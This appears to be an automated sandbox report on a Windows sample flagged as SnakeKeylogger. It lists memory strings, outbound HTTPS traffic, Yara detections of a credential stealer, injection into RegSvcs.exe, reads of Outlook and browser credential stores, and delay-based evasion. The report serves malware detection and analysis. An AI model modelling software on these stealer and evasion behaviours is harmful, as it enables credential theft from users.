Source: RegSvcs.exe, 00000002.00000002.4794997601.000000000289C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.0000000002857000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4794997601.00000000028C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33$
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RegSvcs.exe, 00000002.00000002.4796478018.0000000003801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegSvcs.exe, 00000002.00000002.4794997601.00000000029CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.12:49735 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 7020, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FDA088	2_2_00FDA088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FDC147	2_2_00FDC147
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FDD278	2_2_00FDD278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FD5370	2_2_00FD5370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FDC468	2_2_00FDC468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FDC738	2_2_00FDC738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FD69A0	2_2_00FD69A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FDE988	2_2_00FDE988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FDCA08	2_2_00FDCA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FDCCD8	2_2_00FDCCD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FD6FC8	2_2_00FD6FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FDCFA9	2_2_00FDCFA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FD29E0	2_2_00FD29E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FDE97B	2_2_00FDE97B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FDF961	2_2_00FDF961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FD3E09	2_2_00FD3E09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BDE00	2_2_061BDE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B1E80	2_2_061B1E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B17A0	2_2_061B17A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B9C70	2_2_061B9C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BFC68	2_2_061BFC68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B9548	2_2_061B9548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B0B30	2_2_061B0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B5028	2_2_061B5028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B2968	2_2_061B2968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B1E70	2_2_061B1E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BE6B0	2_2_061BE6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BE6AF	2_2_061BE6AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BEF51	2_2_061BEF51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BEF60	2_2_061BEF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B178F	2_2_061B178F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BCCA0	2_2_061BCCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BD550	2_2_061BD550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BD540	2_2_061BD540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BDDFF	2_2_061BDDFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BE258	2_2_061BE258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BE24A	2_2_061BE24A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BEAF8	2_2_061BEAF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BEB08	2_2_061BEB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B9328	2_2_061B9328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B0B20	2_2_061B0B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B8B91	2_2_061B8B91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BF3B8	2_2_061BF3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B8BA0	2_2_061B8BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B9BFA	2_2_061B9BFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BF810	2_2_061BF810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BF802	2_2_061BF802
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B0006	2_2_061B0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B5022	2_2_061B5022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B0040	2_2_061B0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BD0F8	2_2_061BD0F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B295A	2_2_061B295A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BD999	2_2_061BD999
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061BD9A8	2_2_061BD9A8

Source: 7DI4iYwcvw.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 7020, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@4/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\7DI4iYwcvw.exe

File created: C:\Users\user\AppData\Local\Temp\juvenilely

Jump to behavior

Source: 7DI4iYwcvw.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\7DI4iYwcvw.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\7DI4iYwcvw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegSvcs.exe, 00000002.00000002.4794997601.0000000002A96000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 7DI4iYwcvw.exe

ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\7DI4iYwcvw.exe

File read: C:\Users\user\Desktop\7DI4iYwcvw.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\7DI4iYwcvw.exe "C:\Users\user\Desktop\7DI4iYwcvw.exe"
Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\7DI4iYwcvw.exe"
Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\7DI4iYwcvw.exe"	Jump to behavior

Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\7DI4iYwcvw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 7DI4iYwcvw.exe

Static file information: File size 1257083 > 1048576

Source: 7DI4iYwcvw.exe

Static PE information: real checksum: 0xa961f should be: 0x13c5fa

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FD9C30 push esp; retf 0271h	2_2_00FD9D55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00FD891E pushad ; iretd	2_2_00FD891F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_061B9243 push es; ret	2_2_061B9244

Source: C:\Users\user\Desktop\7DI4iYwcvw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\7DI4iYwcvw.exe

API/Special instruction interceptor: Address: 403A264

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598438	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597969	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596982	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596639	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596063	Jump to behavior
